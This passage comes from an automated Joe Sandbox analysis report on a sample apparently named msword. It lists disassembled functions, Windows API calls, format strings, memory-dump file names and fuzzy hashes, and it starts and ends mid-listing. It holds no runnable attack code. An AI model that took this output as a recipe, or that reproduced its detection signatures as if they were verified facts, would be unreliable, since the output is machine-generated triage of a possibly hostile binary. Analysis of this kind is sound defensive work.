                                                                            • SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
                                                                            • DeleteObject.GDI32(00000000), ref: 004020EE
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                                            • String ID:
                                                                            • API String ID: 1849352358-0
                                                                            • Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
                                                                            • Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
                                                                            • Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
                                                                            • Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28
                                                                            Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
                                                                            • SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$Timeout
                                                                            • String ID: !
                                                                            • API String ID: 1777923405-2657877971
                                                                            • Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
                                                                            • Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
                                                                            • Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
                                                                            • Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758
                                                                            Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B
                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 0040282E
                                                                            • RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E
                                                                              • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                              • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                            Strings
                                                                            • DeleteRegKey: "%s\%s", xrefs: 00402843
                                                                            • DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: CloseDeleteOpenValuelstrlenwvsprintf
                                                                            • String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
                                                                            • API String ID: 1697273262-1764544995
                                                                            • Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
                                                                            • Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
                                                                            • Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
                                                                            • Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D
                                                                            Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • IsWindowVisible.USER32(?), ref: 00404902
                                                                            • CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970
                                                                              • Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Window$CallMessageProcSendVisible
                                                                            • String ID: $@rD
                                                                            • API String ID: 3748168415-881980237
                                                                            • Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
                                                                            • Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
                                                                            • Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
                                                                            • Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD
                                                                            Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                              • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                              • Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
                                                                              • Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC
                                                                            • lstrlenW.KERNEL32 ref: 004026B4
                                                                            • lstrlenW.KERNEL32(00000000), ref: 004026C1
                                                                            • SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
                                                                            • String ID: CopyFiles "%s"->"%s"
                                                                            • API String ID: 2577523808-3778932970
                                                                            • Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
                                                                            • Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
                                                                            • Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
                                                                            • Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59
                                                                            Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: lstrcatwsprintf
                                                                            • String ID: %02x%c$...
                                                                            • API String ID: 3065427908-1057055748
                                                                            • Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
                                                                            • Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
                                                                            • Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
                                                                            • Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794
                                                                            Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • OleInitialize.OLE32(00000000), ref: 00405057
                                                                              • Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1
                                                                            • OleUninitialize.OLE32(00000404,00000000), ref: 004050A5
                                                                              • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                              • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: InitializeMessageSendUninitializelstrlenwvsprintf
                                                                            • String ID: Section: "%s"$Skipping section: "%s"
                                                                            • API String ID: 2266616436-4211696005
                                                                            • Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
                                                                            • Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
                                                                            • Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
                                                                            • Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D
                                                                            Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetDC.USER32(?), ref: 00402100
                                                                            • GetDeviceCaps.GDI32(00000000), ref: 00402107
                                                                            • MulDiv.KERNEL32(00000000,00000000), ref: 00402117
                                                                              • Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
                                                                            • CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A
                                                                              • Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: CapsCreateDeviceFontIndirectVersionwsprintf
                                                                            • String ID:
                                                                            • API String ID: 1599320355-0
                                                                            • Opcode ID: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
                                                                            • Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
                                                                            • Opcode Fuzzy Hash: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
                                                                            • Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D
                                                                            Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
                                                                            • lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
                                                                            • lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
                                                                            • lstrcpynW.KERNEL32(?,?,?), ref: 00407261
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: lstrcpyn$CreateFilelstrcmp
                                                                            • String ID: Version
                                                                            • API String ID: 512980652-315105994
                                                                            • Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
                                                                            • Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
                                                                            • Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
                                                                            • Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5
                                                                            Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
                                                                            • GetTickCount.KERNEL32 ref: 00403303
                                                                            • CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
                                                                            • ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Window$CountCreateDestroyDialogParamShowTick
                                                                            • String ID:
                                                                            • API String ID: 2102729457-0
                                                                            • Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
                                                                            • Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
                                                                            • Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
                                                                            • Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC
                                                                            Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 00406395
                                                                            • GlobalFree.KERNEL32(00000000), ref: 0040639E
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Global$AddressAllocByteCharFreeMultiProcWide
                                                                            • String ID:
                                                                            • API String ID: 2883127279-0
                                                                            • Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
                                                                            • Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
                                                                            • Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
                                                                            • Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675
                                                                            Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON
